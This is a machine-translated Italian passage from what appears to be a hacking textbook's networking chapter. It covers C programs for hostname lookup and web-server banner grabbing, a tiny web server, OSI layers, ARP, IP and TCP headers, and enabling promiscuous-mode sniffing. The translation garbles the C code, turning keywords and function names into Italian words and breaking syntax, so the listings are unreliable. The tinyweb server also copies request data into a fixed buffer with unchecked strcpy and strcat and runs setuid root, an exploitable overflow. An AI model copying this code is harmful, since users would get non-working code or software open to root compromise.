printf ("% s ha indirizzo% s \ n", argv [1], inet_ntoa (* indirizzo));
}
}

Questo programma accetta un nome host come unico argomento e stampa il file
Indirizzo IP. La funzione gethostbyname () restituisce un puntatore a una struttura host
ture, che contiene l'indirizzo IP nell'elemento h_addr . Un puntatore a questo elemento
è typecast in un puntatore in_addr , che viene successivamente dereferenziato per la chiamata a
, che si aspetta una struttura in_addr come argomento. Programma di esempio
inet_ntoa ()
l'output è mostrato nella pagina seguente.

Networking 211

Pagina 226

reader @ hacking: ~ / booksrc $ gcc -o host_lookup host_lookup.c


lettore @ hacking: ~ / booksrc $ ./host_lookup www.internic.net
www.internic.net ha l'indirizzo 208.77.188.101
reader @ hacking: ~ / booksrc $ ./host_lookup www.google.com
www.google.com ha l'indirizzo 74.125.19.103
lettore @ hacking: ~ / booksrc $

Usare le funzioni socket per costruire su questo, creando un'identificazione del server web
il programma non è così difficile.

webserver_id.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

int main (int argc, char * argv []) {


int sockfd;
struct hostent * host_info;
struct sockaddr_in target_addr;
buffer di caratteri senza segno [4096];

if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}

if ((host_info = gethostbyname (argv [1])) == NULL)


fatale ("ricerca del nome host");

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)


fatale ("in socket");

target_addr.sin_family = AF_INET;
target_addr.sin_port = htons (80);
target_addr.sin_addr = * ((struct in_addr *) host_info-> h_addr);
memset (& (target_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

if (connect (sockfd, (struct sockaddr *) & target_addr, sizeof (struct sockaddr)) == -1)
fatale ("connessione al server di destinazione");

send_string (sockfd, "HEAD / HTTP / 1.0 \ r \ n \ r \ n");

212 0x400

Pagina 227
while (recv_line (sockfd, buffer)) {
if (strncasecmp (buffer, "Server:", 7) == 0) {
printf ("Il server web per% s è% s \ n", argv [1], buffer + 8);
uscita (0);
}
}
printf ("Linea server non trovata \ n");
uscita (1);
}

La maggior parte di questo codice dovrebbe avere senso per te ora. La struttura target_addr
L' elemento sin_addr di ture viene riempito utilizzando l'indirizzo dalla struttura host_info
digitando e poi dereferenziando come prima (ma questa volta è fatto in un file
linea singola). La funzione connect () viene chiamata per connettersi alla porta 80 del target
host, viene inviata la stringa di comando e il programma legge in ciclo ogni riga
nel buffer. La funzione strncasecmp () è una funzione di confronto di stringhe di
strings.h. Questa funzione confronta i primi n byte di due stringhe, ignorandoli
capitalizzazione. I primi due argomenti sono puntatori alle stringhe e il terzo
l'argomento è n , il numero di byte da confrontare. La funzione restituirà 0 se
le stringhe corrispondono, quindi l' istruzione if sta cercando la riga che inizia con
. Quando lo trova, rimuove i primi otto byte e stampa il web-
"Server:"
informazioni sulla versione del server. Il seguente elenco mostra la compilazione e
esecuzione del programma.

reader @ hacking: ~ / booksrc $ gcc -o webserver_id webserver_id.c


lettore @ hacking: ~ / booksrc $ ./webserver_id www.internic.net
Il server web per www.internic.net è Apache / 2.0.52 (CentOS)
reader @ hacking: ~ / booksrc $ ./webserver_id www.microsoft.com
Il server Web per www.microsoft.com è Microsoft-IIS / 7.0
lettore @ hacking: ~ / booksrc $

0x427 Un server Tinyweb


Un server web non deve essere molto più complesso del semplice server
abbiamo creato nella sezione precedente. Dopo aver accettato una connessione TCP-IP, il file
webserver deve implementare ulteriori livelli di comunicazione utilizzando il
Protocollo HTTP.
Il codice del server elencato di seguito è quasi identico al server semplice, tranne
quel codice di gestione della connessione è separato nella sua funzione. Questa funzione
zione gestisce le richieste HTTP GET e HEAD che provengono da un browser web.
Il programma cercherà la risorsa richiesta nella directory locale chiamata
webroot e inviarlo al browser. Se il file non può essere trovato, il server lo farà
rispondere con una risposta HTTP 404. Potresti già avere familiarità con questo
risposta, che significa File non trovato . L'elenco completo del codice sorgente
segue.

Networking 213

Pagina 228

tinyweb.c

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys / stat.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include "hacking.h"
#include "hacking-network.h"

#define PORT 80 // La porta a cui si connetteranno gli utenti


#define WEBROOT "./webroot" // La directory principale del server web

void handle_connection (int, struct sockaddr_in *); // Gestisci le richieste web


int get_file_size (int); // Restituisce la dimensione del file del descrittore di file aperto

int main (void) {


int sockfd, new_sockfd, sì = 1;
struct sockaddr_in host_addr, client_addr; // Informazioni sul mio indirizzo
socklen_t sin_size;

printf ("Accettazione richieste web sulla porta% d \ n", PORT);

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)


fatale ("in socket");

if (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, & yes, sizeof (int)) == -1)


fatal ("impostazione dell'opzione socket SO_REUSEADDR");

host_addr.sin_family = AF_INET; // Ordine byte host


host_addr.sin_port = htons (PORT); // Ordine byte di rete breve
host_addr.sin_addr.s_addr = INADDR_ANY; // Compila automaticamente il mio IP.
memset (& (host_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");

if (ascolta (sockfd, 20) == -1)


fatal ("ascolto sul socket");

while (1) {// Accetta il ciclo.


sin_size = sizeof (struct sockaddr_in);
new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
if (new_sockfd == -1)
fatale ("accettazione della connessione");

handle_connection (new_sockfd, & client_addr);


}
return 0;
214 0x400

Pagina 229

/ * Questa funzione gestisce la connessione sul socket passato da


* passato indirizzo del cliente. La connessione viene elaborata come richiesta web,
* e questa funzione risponde tramite la presa collegata. Infine, il
* Il socket passato viene chiuso alla fine della funzione.
*/
void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr) {
char senza segno * ptr, richiesta [500], risorsa [500];
int fd, length;

length = recv_line (sockfd, richiesta);

printf ("Ricevuta richiesta da% s:% d \"% s \ "\ n", inet_ntoa (client_addr_ptr-> sin_addr),
ntohs (client_addr_ptr-> sin_port), richiesta);

ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta dall'aspetto valido.
if (ptr == NULL) {// Allora questo non è un HTTP valido.
printf ("NON HTTP! \ n");
} altro {
* ptr = 0; // Termina il buffer alla fine dell'URL.
ptr = NULL; // Imposta ptr su NULL (utilizzato per segnalare una richiesta non valida).
if (strncmp (request, "GET", 4) == 0) // GET richiesta
ptr = richiesta + 4; // ptr è l'URL.
if (strncmp (request, "HEAD", 5) == 0) // richiesta HEAD
ptr = richiesta + 5; // ptr è l'URL.

if (ptr == NULL) {// Allora questa non è una richiesta riconosciuta.


printf ("\ tUNKNOWN REQUEST! \ n");
} else {// Richiesta valida, con ptr che punta al nome della risorsa
if (ptr [strlen (ptr) - 1] == '/') // Per risorse che terminano con '/',
strcat (ptr, "index.html"); // aggiungi "index.html" alla fine.
strcpy (risorsa, WEBROOT); // Inizia la risorsa con il percorso di root web
strcat (risorsa, ptr); // e unisciti a esso con il percorso della risorsa.
fd = open (risorsa, O_RDONLY, 0); // Prova ad aprire il file.
printf ("\ tOpening \ '% s \' \ t", risorsa);
if (fd == -1) {// Se il file non viene trovato
printf ("404 Not Found \ n");
send_string (sockfd, "HTTP / 1.0 404 NOT FOUND \ r \ n");
send_string (sockfd, "Server: minuscolo server web \ r \ n \ r \ n");
send_string (sockfd, "<html> <head> <title> 404 Not Found </title> </head>");
send_string (sockfd, "<body> <h1> URL non trovato </h1> </body> </html> \ r \ n");
} else {// Altrimenti, pubblica il file.
printf ("200 OK \ n");
send_string (sockfd, "HTTP / 1.0 200 OK \ r \ n");
send_string (sockfd, "Server: minuscolo server web \ r \ n \ r \ n");
if (ptr == request + 4) {// Allora questa è una richiesta GET
if ((length = get_file_size (fd)) == -1)
fatale ("ottenere la dimensione del file di risorse");
if ((ptr = (unsigned char *) malloc (length)) == NULL)
fatal ("allocare memoria per la lettura della risorsa");
read (fd, ptr, length); // Legge il file in memoria.
invia (sockfd, ptr, length, 0); // Invia a socket.

Networking 215

Pagina 230

libero (ptr); // Memoria file libera.


}
chiudere (fd); // Chiude il file.
} // Termina se blocco per file trovato / non trovato.
} // End if block per una richiesta valida.
} // End if block per HTTP valido.
arresto (sockfd, SHUT_RDWR); // Chiude il socket con grazia.
}

/ * Questa funzione accetta un descrittore di file aperto e restituisce


* la dimensione del file associato. Restituisce -1 in caso di errore.
*/
int get_file_size (int fd) {
struct stat stat_struct;

if (fstat (fd, & stat_struct) == -1)


return -1;
return (int) stat_struct.st_size;
}

La funzione handle_connection utilizza la funzione strstr () per cercare il file


sottostringa HTTP / nel buffer delle richieste. La funzione strstr () restituisce un puntatore
alla sottostringa, che sarà proprio alla fine della richiesta. La stringa è
terminato qui, e le richieste HEAD e GET vengono riconosciute come processabili
richieste. Una richiesta HEAD restituirà solo le intestazioni, mentre una richiesta GET lo farà
restituisce anche la risorsa richiesta (se può essere trovata).
I file index.html e image.jpg sono stati inseriti nella directory
webroot, come mostrato nell'output sotto, e quindi il programma tinyweb è
compilato. I privilegi di root sono necessari per eseguire il binding a qualsiasi porta inferiore a 1024, quindi il
il programma è setuid root ed è eseguito. L'output di debug del server mostra
i risultati della richiesta di http://127.0.0.1 di un browser web:

lettore @ hacking: ~ / booksrc $ ls -l webroot /


totale 52
-rwxr - r-- 1 lettore lettore 46794 2007-05-28 23:43 image.jpg
-rw-r - r-- 1 lettore lettore 261 2007-05-28 23:42 index.html
lettore @ hacking: ~ / booksrc $ cat webroot / index.html
<html>
<head> <title> Una pagina web di esempio </title> </head>
<body bgcolor = "# 000000" text = "# ffffffff">
<centro>
<h1> Questa è una pagina web di esempio </h1>
... ed ecco un testo di esempio <br>
<br>
..e anche un'immagine di esempio: <br>
<img src = "image.jpg"> <br>
</center>
</body>
</html>
reader @ hacking: ~ / booksrc $ gcc -o tinyweb tinyweb.c
reader @ hacking: ~ / booksrc $ sudo chown root ./tinyweb
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./tinyweb
lettore @ hacking: ~ / booksrc $ ./tinyweb

216 0x400

Pagina 231

Accettazione di richieste web sulla porta 80


Richiesta da 127.0.0.1:52996 "GET / HTTP / 1.1"
Apertura di "./webroot/index.html" 200 OK
Richiesta da 127.0.0.1:52997 "GET /image.jpg HTTP / 1.1"
Apertura di "./webroot/image.jpg" 200 OK
Richiesta da 127.0.0.1:52998 "GET /favicon.ico HTTP / 1.1"
Apertura di "./webroot/favicon.ico" 404 Not Found

L'indirizzo 127.0.0.1 è uno speciale indirizzo di loopback che instrada al


macchina locale. La richiesta iniziale ottiene index.html dal server web, che
a sua volta richiede image.jpg. Inoltre, il browser richiede automaticamente
favicon.ico nel tentativo di recuperare un'icona per la pagina web. Lo schermo-
l'immagine sotto mostra i risultati di questa richiesta in un browser.

0x430 Rimozione degli strati inferiori


Quando utilizzi un browser web, tutti e sette i livelli OSI vengono gestiti per te,
permettendoti di concentrarti sulla navigazione e non sui protocolli. Agli strati superiori di
OSI, molti protocolli possono essere in chiaro poiché tutti gli altri dettagli della connessione
sono già curati dagli strati inferiori. I socket esistono nella sessione
livello (5), che fornisce un'interfaccia per inviare dati da un host a un altro.
TCP sul livello di trasporto (4) fornisce affidabilità e controllo del trasporto,
mentre l'IP sul livello di rete (3) fornisce l'indirizzamento e il livello di pacchetto
comunicazione. Ethernet sul livello di collegamento dati (2) fornisce l'indirizzamento
tra le porte Ethernet, adatto per LAN di base (Local Area Network)

Networking 217

Pagina 232

comunicazioni. In basso, lo strato fisico (1) è semplicemente il filo e


il protocollo utilizzato per inviare bit da un dispositivo a un altro. Un unico HTTP
il messaggio verrà avvolto in più livelli man mano che viene passato attraverso diversi
aspetti della comunicazione.
Questo processo può essere pensato come un'intricata burocrazia interna,
ricorda il film Brasile . Ad ogni strato è presente un altamente specializzato
receptionist che capisce solo il linguaggio e il protocollo di quel livello.
Man mano che i pacchetti di dati vengono trasmessi, ogni receptionist esegue il necessario
compiti del suo livello particolare, mette il pacchetto in una busta interna,
scrive l'intestazione all'esterno e la trasmette alla receptionist del
livello successivo sotto. Quell'addetto alla reception, a sua volta, svolge i compiti necessari
del suo livello, mette l'intera busta in un'altra busta, scrive l'intestazione
all'esterno e lo trasmette. Il traffico di rete è una burocrazia chiacchierona
di server, client e connessioni peer-to-peer. Agli strati superiori, il
il traffico potrebbe essere dati finanziari, e-mail o praticamente qualsiasi cosa. Indipendentemente da
cosa contengono i pacchetti, i protocolli utilizzati ai livelli inferiori per spostare il file
i dati dal punto A al punto B sono generalmente gli stessi. Una volta compreso il file
burocrazia d'ufficio di questi protocolli di livello inferiore comuni, puoi sbirciare
all'interno di buste in transito e persino falsificare documenti per manipolare il file
sistema.

0x431 Livello collegamento dati


Il livello visibile più basso è il livello di collegamento dati. Tornando alla receptionist
e l'analogia della burocrazia, se lo strato fisico sottostante è pensato come inter-
carrelli postali da ufficio e il livello di rete superiore come sistema postale mondiale,
il livello di collegamento dati è il sistema della posta interna. Questo strato fornisce un modo
indirizzare e inviare messaggi a chiunque altro in ufficio, oltre che figurare
fuori chi c'è in ufficio.
Ethernet esiste su questo livello, fornendo un sistema di indirizzamento standard
per tutti i dispositivi Ethernet. Questi indirizzi sono noti come Media Access Con-
indirizzi trol (MAC). Ad ogni dispositivo Ethernet viene assegnato un unico globale
indirizzo composto da sei byte, solitamente scritto in esadecimale nella forma
. Questi indirizzi sono talvolta indicati anche come hardware
xx: xx: xx: xx: xx: xx
indirizzi, poiché ogni indirizzo è univoco per un componente hardware ed è memorizzato in
la memoria del circuito integrato del dispositivo. Gli indirizzi MAC possono essere considerati come
Numeri di previdenza sociale per l'hardware, poiché ogni pezzo di hardware è
dovrebbe avere un indirizzo MAC univoco.
Un'intestazione Ethernet ha una dimensione di 14 byte e contiene l'origine e il
indirizzi MAC di azione per questo pacchetto Ethernet. L'indirizzamento Ethernet pro
vides uno speciale indirizzo di trasmissione, composto da tutti gli 1 binari ( ff: ff: ff: ff: ff: ff ).
Qualsiasi pacchetto Ethernet inviato a questo indirizzo verrà inviato a tutti i collegati
dispositivi.
L'indirizzo MAC di un dispositivo di rete non è destinato a cambiare, ma è
L'indirizzo IP può cambiare regolarmente. Il concetto di indirizzi IP non esiste
a questo livello, solo gli indirizzi hardware lo fanno, quindi è necessario un metodo per correlare

218 0x400

Pagina 233

i due schemi di indirizzamento. In ufficio, la posta dell'ufficio postale inviata a un


il dipendente all'indirizzo dell'ufficio si reca alla scrivania appropriata. In Ethernet,
il metodo è noto come ARP (Address Resolution Protocol).
Questo protocollo consente di creare delle "carte dei posti a sedere" per associare un indirizzo IP
con un pezzo di hardware. Esistono quattro diversi tipi di messaggi ARP, ma
i due tipi più importanti sono i messaggi di richiesta ARP e i messaggi di risposta ARP .
L'intestazione Ethernet di qualsiasi pacchetto include un valore di tipo che descrive il pacchetto.
Questo tipo viene utilizzato per specificare se il pacchetto è un messaggio di tipo ARP o un messaggio
Pacchetto IP.
Una richiesta ARP è un messaggio, inviato all'indirizzo di broadcast, che contiene
l'indirizzo IP del mittente e l'indirizzo MAC e fondamentalmente dice: "Ehi, chi ha
questo IP? Se sei tu, per favore rispondi e dimmi il tuo indirizzo MAC. " Un ARP
risposta è la risposta corrispondente inviata all'indirizzo MAC del richiedente
(e indirizzo IP) dicendo: "Questo è il mio indirizzo MAC e ho questo indirizzo IP".
La maggior parte delle implementazioni memorizzerà temporaneamente nella cache le coppie di indirizzi MAC / IP
ricevuti nelle risposte ARP, in modo che le richieste e le risposte ARP non siano necessarie per
ogni singolo pacchetto. Queste cache sono come la tabella dei posti a sedere tra uffici.
Ad esempio, se un sistema ha l'indirizzo IP 10.10.10.20 e MAC
indirizzo 00: 00: 00: aa: aa: aa , e un altro sistema sulla stessa rete ha
l'indirizzo IP 10.10.10.50 e l'indirizzo MAC 00: 00: 00: bb: bb: bb , nessuno dei due
il sistema può comunicare con l'altro finché non conoscono il MAC dell'altro
indirizzi.

Richiesta ARP
Fonte MAC: 00: 00: 00: aa: aa: aa
Dest MAC: ff: ff: ff: ff: ff: ff
"Chi ha il 10.10.10.50?"

Primo sistema Secondo sistema

IP: 10.10.10.20 IP: 10.10.10.50


MAC: 00: 00: 00: aa: aa: aa MAC: 00: 00: 00: bb: bb: bb

Risposta ARP
Fonte MAC: 00: 00: 00: bb: bb: bb
Dest MAC: 00: 00: 00: aa: aa: aa
"10.10.10.50 è alle 00: 00: 00: bb: bb: bb ."

Se il primo sistema desidera stabilire una connessione TCP su IP con il file


l'indirizzo IP del secondo dispositivo 10.10.10.50, il primo sistema verificherà prima il suo
Cache ARP per vedere se esiste una voce per 10.10.10.50. Poiché questa è la prima volta
questi due sistemi stanno cercando di comunicare, non ci sarà tale voce, e
una richiesta ARP verrà inviata all'indirizzo di trasmissione, dicendo: "Se lo sei
10.10.10.50, rispondi a me alle 00: 00: 00: aa: aa: aa . " Da questa richiesta
usa l'indirizzo di trasmissione, ogni sistema sulla rete vede la richiesta, ma
solo il sistema con l'indirizzo IP corrispondente è destinato a rispondere. In questo
caso, il secondo sistema risponde con una risposta ARP che viene rispedita direttamente
a 00: 00: 00: aa: aa: aa dicendo: "Sono il 10.10.10.50 e sono a 00: 00: 00: bb: bb: bb ."
Il primo sistema riceve questa risposta, memorizza nella cache la coppia di indirizzi IP e MAC
Cache ARP e utilizza l'indirizzo hardware per comunicare.

Networking 219

Pagina 234

0x432 Livello di rete


Il livello di rete è come un servizio postale mondiale che fornisce un indirizzamento
e il metodo di consegna utilizzato per inviare le cose ovunque. Il protocollo utilizzato in
questo livello per l'indirizzamento e la consegna di Internet è, appropriatamente, chiamato Internet
Protocollo (IP); la maggior parte di Internet utilizza IP versione 4.
Ogni sistema su Internet ha un indirizzo IP, costituito da un familiare
Disposizione quattro byte in forma di xx.xx.xx.xx . L'intestazione IP per i pacchetti
in questo livello ha una dimensione di 20 byte ed è costituito da vari campi e bitflag come
definito nella RFC 791.

Da RFC 791

[Pagina 10]
Settembre 1981
Protocollo Internet

3. SPECIFICHE

3.1. Formato intestazione Internet

Segue un riepilogo del contenuto dell'intestazione Internet:

0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Versione | IHL | Tipo di servizio | Lunghezza totale |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificazione | Bandiere | Frammento Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| È ora di vivere | Protocollo | Checksum intestazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di partenza |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Esempio di intestazione di datagramma Internet

Figura 4.
Notare che ogni segno di spunta rappresenta una posizione di bit.

Questo diagramma ASCII sorprendentemente descrittivo mostra questi campi e il loro


posizioni nell'intestazione. I protocolli standard hanno una documentazione eccezionale.
Simile all'intestazione Ethernet, anche l'intestazione IP ha un campo protocollo per
descrivere il tipo di dati nel pacchetto e l'origine e la destinazione
indirizzi per il routing. Inoltre, l'intestazione porta un checksum, per aiutare
rilevare errori di trasmissione e campi per gestire la frammentazione dei pacchetti.
Il protocollo Internet viene utilizzato principalmente per trasmettere pacchetti avvolti in
strati superiori. Tuttavia, i pacchetti ICMP (Internet Control Message Protocol)

220 0x400

Pagina 235

esistono anche su questo livello. I pacchetti ICMP vengono utilizzati per la messaggistica e la diagnostica.
L'IP è meno affidabile dell'ufficio postale: non è garantito che un pacchetto IP
raggiungerà effettivamente la sua destinazione finale. Se c'è un problema, un pacchetto ICMP
viene rispedito per avvisare il mittente del problema.
ICMP è anche comunemente usato per testare la connettività. Richiesta eco ICMP
e i messaggi Echo Reply vengono utilizzati da un'utilità chiamata ping. Se un host lo desidera
per verificare se può instradare il traffico a un altro host, esegue il ping dell'host remoto tramite
inviando una richiesta di eco ICMP. Al ricevimento della richiesta Echo ICMP, il
l'host remoto restituisce una risposta echo ICMP. Questi messaggi possono essere utilizzati
per determinare la latenza di connessione tra i due host. Tuttavia lo è
importante ricordare che ICMP e IP sono entrambi senza connessione; tutto questo
Il livello di protocollo si preoccupa davvero di portare il pacchetto al suo indirizzo di destinazione.
A volte un collegamento di rete avrà una limitazione sulla dimensione del pacchetto, che non lo consente
il trasferimento di grandi pacchetti. La PI può affrontare questa situazione frammentandosi
pacchetti, come mostrato qui.

Pacchetto IP di grandi dimensioni

Intestazione Dati I dati hanno continuato Più dati

Frammenti di pacchetti

Intestazione Dati

Intestazione I dati hanno continuato

Intestazione Più dati

Il pacchetto viene suddiviso in frammenti di pacchetto più piccoli che possono passare
attraverso il collegamento di rete, le intestazioni IP vengono inserite in ogni frammento e lo sono
espulso. Ogni frammento ha un valore di offset del frammento diverso, che viene memorizzato
nell'intestazione. Quando la destinazione riceve questi frammenti, l'offset
i valori vengono utilizzati per riassemblare il pacchetto IP originale.
Disposizioni come la frammentazione aiutano nella consegna di pacchetti IP, ma
questo non fa nulla per mantenere le connessioni o garantire la consegna. Questo è il lavoro
dei protocolli a livello di trasporto.

0x433 Transport Layer


Lo strato di trasporto può essere pensato come la prima linea di receptionist d'ufficio,
raccogliendo la posta dal livello di rete. Se un cliente desidera restituire un file
pezzo di merce difettoso, inviano un messaggio di richiesta di reso
Numero di autorizzazione del materiale (RMA). Poi l'addetto alla reception avrebbe seguito
il protocollo di restituzione chiedendo una ricevuta ed eventualmente emettendo un RMA
numero in modo che il cliente possa spedire il prodotto. L'ufficio postale è solo
preoccupato per l'invio di questi messaggi (e pacchetti) avanti e indietro, non
con quello che c'è dentro.

Networking 221
Pagina 236

I due principali protocolli a questo livello sono il controllo della trasmissione


Protocollo (TCP) e UDP (User Datagram Protocol). TCP è il massimo
protocollo comunemente usato per i servizi su Internet: telnet, HTTP (web
traffico), SMTP (traffico e-mail) e FTP (trasferimenti di file) utilizzano tutti TCP. Uno di
le ragioni della popolarità di TCP è che fornisce un sistema trasparente ma affidabile
e bidirezionale, connessione tra due indirizzi IP. Uso dei socket di flusso
Connessioni TCP / IP. Una connessione bidirezionale con TCP è simile all'utilizzo
un telefono: dopo aver composto un numero, viene stabilita una connessione attraverso il quale
entrambe le parti possono comunicare. Affidabilità significa semplicemente che TCP garantirà
che tutti i dati arriveranno a destinazione nell'ordine corretto. Se i pacchetti
di una connessione si confonde e arriva fuori servizio, TCP se ne accorgerà
vengono rimessi in ordine prima di passare i dati al livello successivo. Se
alcuni pacchetti nel mezzo di una connessione vengono persi, la destinazione manterrà
sui pacchetti che ha mentre la sorgente ritrasmette i pacchetti mancanti.
Tutta questa funzionalità è resa possibile da un insieme di flag, chiamati flag TCP ,
e monitorando valori chiamati numeri di sequenza . I flag TCP sono i seguenti:

Flag TCP Significato Scopo

URG Urgente Identifica i dati importanti

ACK Riconoscimento Riconosce un pacchetto; è attivato per la maggior parte dei


connessione

PSH spingere Dice al destinatario di inviare i dati invece di bufferizzarli

RST Ripristina Ripristina una connessione

SYN Sincronizzare Sincronizza i numeri di sequenza all'inizio di una connessione

FIN finire Chiude con grazia una connessione quando entrambe le parti si salutano

Questi flag sono memorizzati nell'intestazione TCP insieme ai sorgenti e


porti di destinazione. L'intestazione TCP è specificata in RFC 793.

Da RFC 793

[Pagina 14]

Settembre 1981
Protocollo di controllo della trasmissione

3. SPECIFICHE FUNZIONALI

3.1. Formato intestazione

I segmenti TCP vengono inviati come datagrammi Internet. Il protocollo Internet


L'intestazione contiene diversi campi di informazioni, tra cui l'origine e
indirizzi host di destinazione [2]. Un'intestazione TCP segue Internet
intestazione, fornendo informazioni specifiche per il protocollo TCP. Questo
la divisione consente l'esistenza di protocolli a livello di host diversi da
TCP.

Formato intestazione TCP

222 0x400

Pagina 237

0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Porta di origine | Porto di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequenza di numeri |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numero di riconoscimento |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Dati | |U|A|P|R|S|F| |
| Offset | Riservato | R | C | S | S | Y | I | Finestra |
|| |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Puntatore urgente |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| dati |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Formato intestazione TCP

Notare che un segno di spunta rappresenta una posizione di bit.

Figura 3.

Il numero di sequenza e il numero di riconoscimento vengono utilizzati per mantenere


stato. I flag SYN e ACK vengono utilizzati insieme per aprire connessioni in un file
processo di handshaking in tre fasi. Quando un cliente vuole aprire una connessione
con un server, viene inviato un pacchetto con il flag SYN attivato, ma il flag ACK disattivato
il server. Il server quindi risponde con un pacchetto che ha sia SYN che
Flag di ACK attivati. Per completare la connessione, il client restituisce un file
pacchetto con il flag SYN disattivato ma il flag ACK attivato. Dopodiché, ogni pacchetto in
la connessione avrà il flag ACK attivato e il flag SYN disattivato.
Solo i primi due pacchetti della connessione hanno il flag SYN, poiché quelli
i pacchetti vengono utilizzati per sincronizzare i numeri di sequenza.

Pacchetto SYN
SYN su ACK disattivato
seq # = 324808530
ack # = 0

Pacchetto SYN / ACK


SYN su ACK attivo
Cliente server
seq # = 288666267
ack # = 324808531

Pacchetto ACK
SYN disattivato ACK attivato
seq # = 324808531
ack # = 288666268

Networking 223

Pagina 238

I numeri di sequenza consentono a TCP di rimettere in ordine i pacchetti non ordinati,


per determinare se i pacchetti sono mancanti e per evitare di confondere i pacchetti
da altri collegamenti.
Quando viene avviata una connessione, ogni lato genera una sequenza iniziale
numero. Questo numero viene comunicato all'altro lato nei primi due SYN
pacchetti dell'handshake di connessione. Quindi, con ogni pacchetto inviato,
il numero di sequenza viene incrementato del numero di byte trovati nel file
porzione di dati del pacchetto. Questo numero di sequenza è incluso nel TCP
intestazione del pacchetto. Inoltre, ogni intestazione TCP ha un numero di riconoscimento,
che è semplicemente il numero progressivo dell'altra parte più uno.
TCP è ottimo per le applicazioni in cui affidabilità e comunicazione bidirezionale
cationi sono necessari. Tuttavia, il costo di questa funzionalità viene pagato in
nication overhead.
UDP ha molto meno overhead e funzionalità integrate rispetto a TCP. Questo
la mancanza di funzionalità lo fa comportare in modo molto simile al protocollo IP: è
inefficace e inaffidabile. Senza funzionalità integrate per creare connessioni
e mantenere l'affidabilità, UDP è un'alternativa che prevede l'applicazione
affrontare questi problemi. A volte le connessioni non sono necessarie e la luce-
weight UDP è un protocollo molto migliore per queste situazioni. L'intestazione UDP,
definito nella RFC 768, è relativamente piccolo. Contiene solo quattro valori a 16 bit in questo
ordine: porta di origine, porta di destinazione, lunghezza e checksum.

0x440 Sniffing di rete


Sul livello di collegamento dati si trova la distinzione tra commutato e non commutato
reti. Su una rete non commutata , i pacchetti Ethernet passano attraverso ogni
dispositivo sulla rete, aspettandosi che ogni dispositivo di sistema guardi solo il file
pacchetti inviati al suo indirizzo di destinazione. Tuttavia, è abbastanza banale impostare un file
dispositivo in modalità promiscua , che fa sì che guardi tutti i pacchetti, indipendentemente
dell'indirizzo di destinazione. La maggior parte dei programmi di acquisizione di pacchetti, come tcpdump,
per impostazione predefinita, rilascia il dispositivo che stanno ascoltando in modalità promiscua. Pro-
la modalità miscuous può essere impostata utilizzando ifconfig , come mostrato nel seguente output.

lettore @ hacking: ~ / booksrc $ ifconfig eth0


Encap link eth0: Ethernet HWaddr 00: 0C: 29: 34: 61: 65
UP BROADCAST RUNNING MULTICAST MTU: 1500 Sistema metrico: 1
Pacchetti RX: 17115 errori: 0 eliminati: 0 overruns: 0 frame: 0
Pacchetti TX: 1927 errori: 0 eliminati: 0 sovraccarichi: 0 portante: 0
collisioni: 0 txqueuelen: 1000
Byte RX: 4602913 (4,3 MiB) Byte TX: 434449 (424,2 KiB)
Interrupt: 16 Indirizzo di base: 0x2024

reader @ hacking: ~ / booksrc $ sudo ifconfig eth0 promisc


lettore @ hacking: ~ / booksrc $ ifconfig eth0
Encap link eth0: Ethernet HWaddr 00: 0C: 29: 34: 61: 65
UP BROADCAST IN CORSO PROMISC MULTICAST MTU: 1500 Sistema metrico: 1
